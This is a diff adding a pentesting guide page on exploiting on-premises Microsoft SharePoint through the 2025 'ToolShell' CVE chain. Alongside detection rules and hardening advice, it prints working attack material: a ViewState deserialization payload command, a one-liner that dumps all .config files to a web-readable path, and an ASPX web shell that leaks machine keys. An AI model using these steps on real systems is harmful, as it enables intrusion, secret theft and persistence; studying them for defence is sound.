|
| 1 | +# Microsoft SharePoint – Pentesting & Exploitation |
| 2 | + |
| 3 | +{{#include ../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +> Microsoft SharePoint (on-premises) is built on top of ASP.NET/IIS. Most of the classic web attack surface (ViewState, Web.Config, web shells, etc.) is therefore present, but SharePoint also ships with hundreds of proprietary ASPX pages and web services that dramatically enlarge the exposed attack surface. This page collects practical tricks to enumerate, exploit and persist inside SharePoint environments with emphasis on the 2025 exploit chain disclosed by Unit42 (CVE-2025-49704/49706/53770/53771). |
| 6 | +
|
| 7 | +## 1. Quick enumeration |
| 8 | + |
| 9 | +``` |
| 10 | +# favicon hash and keywords |
| 11 | +curl -s https://<host>/_layouts/15/images/SharePointHome.png |
| 12 | +curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI |
| 13 | +
|
| 14 | +# version leakage (often in JS) |
| 15 | +curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo" |
| 16 | +
|
| 17 | +# interesting standard paths |
| 18 | +/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain |
| 19 | +/_vti_bin/Lists.asmx # legacy SOAP service |
| 20 | +/_catalogs/masterpage/Forms/AllItems.aspx |
| 21 | +
|
| 22 | +# enumerate sites & site-collections (requires at least Anonymous) |
| 23 | +python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host> |
| 24 | +``` |
| 25 | + |
| 26 | +## 2. 2025 exploit chain (a.k.a. “ToolShell”) |
| 27 | + |
| 28 | +### 2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx |
| 29 | + |
| 30 | +`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>` allows arbitrary *Server-Side Include* code to be injected in the page which is later compiled by ASP.NET. An attacker can embed C# that executes `Process.Start()` and drop a malicious ViewState. |
| 31 | + |
| 32 | +### 2.2 CVE-2025-49706 – Improper Authentication Bypass |
| 33 | + |
| 34 | +The same page trusts the **X-Forms_BaseUrl** header to determine the site context. By pointing it to `/_layouts/15/`, MFA/SSO enforced at the root site can be bypassed **unauthenticated**. |
| 35 | + |
| 36 | +### 2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE |
| 37 | + |
| 38 | +Once the attacker controls a gadget in `ToolPane.aspx` they can post an **unsigned** (or MAC-only) `__VIEWSTATE` value that triggers .NET deserialization inside *w3wp.exe* leading to code execution. |
| 39 | + |
| 40 | +If signing is enabled, steal the **ValidationKey/DecryptionKey** from any `web.config` (see 2.4) and forge the payload with *ysoserial.net* or *ysodom*: |
| 41 | + |
| 42 | +``` |
| 43 | +ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" | |
| 44 | + ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt |
| 45 | +``` |
| 46 | + |
| 47 | +For an in-depth explanation on abusing ASP.NET ViewState read: |
| 48 | +{{#ref}} |
| 49 | +../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md |
| 50 | +{{#endref}} |
| 51 | + |
| 52 | +### 2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure |
| 53 | + |
| 54 | +Sending a crafted `Source` parameter to `ToolPane.aspx` (e.g. `../../../../web.config`) returns the targeted file, allowing leakage of: |
| 55 | + |
| 56 | +* `<machineKey validationKey="…" decryptionKey="…">` ➜ forge ViewState / ASPXAUTH cookies |
| 57 | +* connection strings & secrets. |
| 58 | + |
| 59 | +## 3. Post-exploitation recipes observed in the wild |
| 60 | + |
| 61 | +### 3.1 Exfiltrate every *.config* file (variation-1) |
| 62 | + |
| 63 | +``` |
| 64 | +cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js" |
| 65 | +``` |
| 66 | + |
| 67 | +The resulting `debug_dev.js` can be downloaded anonymously and contains **all** sensitive configuration. |
| 68 | + |
| 69 | +### 3.2 Deploy a Base64-encoded ASPX web shell (variation-2) |
| 70 | + |
| 71 | +``` |
| 72 | +powershell.exe -EncodedCommand <base64> |
| 73 | +``` |
| 74 | + |
| 75 | +Decoded payload example (shortened): |
| 76 | + |
| 77 | +```csharp |
| 78 | +<%@ Page Language="C#" %> |
| 79 | +<%@ Import Namespace="System.Security.Cryptography" %> |
| 80 | +<script runat="server"> |
| 81 | + protected void Page_Load(object sender, EventArgs e){ |
| 82 | + Response.Write(MachineKey.ValidationKey); |
| 83 | + // echo secrets or invoke cmd |
| 84 | + } |
| 85 | +</script> |
| 86 | +``` |
| 87 | +Written to: |
| 88 | + |
| 89 | +``` |
| 90 | +C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx |
| 91 | +``` |
| 92 | + |
| 93 | +The shell exposes endpoints to **read / rotate machine keys** which allows forging ViewState and ASPXAUTH cookies across the farm. |
| 94 | + |
| 95 | +### 3.3 Obfuscated variant (variation-3) |
| 96 | + |
| 97 | +Same shell but: |
| 98 | +* dropped under `...\15\TEMPLATE\LAYOUTS\` |
| 99 | +* variable names reduced to single letters |
| 100 | +* `Thread.Sleep(<ms>)` added for sandbox-evasion & timing-based AV bypass. |
| 101 | + |
| 102 | +## 4. Detection ideas |
| 103 | + |
| 104 | +| Telemetry | Why it is suspicious | |
| 105 | +|-----------|----------------------| |
| 106 | +| `w3wp.exe → cmd.exe` | Worker process should rarely spawn shell | |
| 107 | +| `cmd.exe → powershell.exe -EncodedCommand` | Classic lolbin pattern | |
| 108 | +| File events creating `debug_dev.js` or `spinstall0.aspx` | IOCs straight from ToolShell | |
| 109 | +| `ProcessCmdLine CONTAINS ToolPane.aspx` (ETW/Module logs) | Public PoCs invoke this page | |
| 110 | + |
| 111 | +Example XDR / Sysmon rule (pseudo-XQL): |
| 112 | + |
| 113 | +``` |
| 114 | +proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe") |
| 115 | +``` |
| 116 | + |
| 117 | +## 5. Hardening & Mitigation |
| 118 | + |
| 119 | +1. **Patch** – July 2025 security updates fix *all* four CVEs. |
| 120 | +2. **Rotate** every `<machineKey>` and `ViewState` secrets after compromise. |
| 121 | +3. Remove *LAYOUTS* write permission from `WSS_WPG` & `WSS_ADMIN_WPG` groups. |
| 122 | +4. Block external access to `/_layouts/15/ToolPane.aspx` at proxy/WAF level. |
| 123 | +5. Enable **ViewStateUserKey**, **MAC enabled**, and custom *EventValidation*. |
| 124 | + |
| 125 | +## Related tricks |
| 126 | + |
| 127 | +* IIS post-exploitation & web.config abuse: |
| 128 | +{{#ref}} |
| 129 | +../../network-services-pentesting/pentesting-web/iis-internet-information-services.md |
| 130 | +{{#endref}} |
| 131 | + |
| 132 | +## References |
| 133 | + |
| 134 | +- [Unit42 – Active Exploitation of Microsoft SharePoint Vulnerabilities](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/) |
| 135 | +- [GitHub PoC – ToolShell exploit chain](https://github.com/real-or-not/ToolShell) |
| 136 | +- [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704) |
| 137 | +- [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770) |
| 138 | +
|
| 139 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments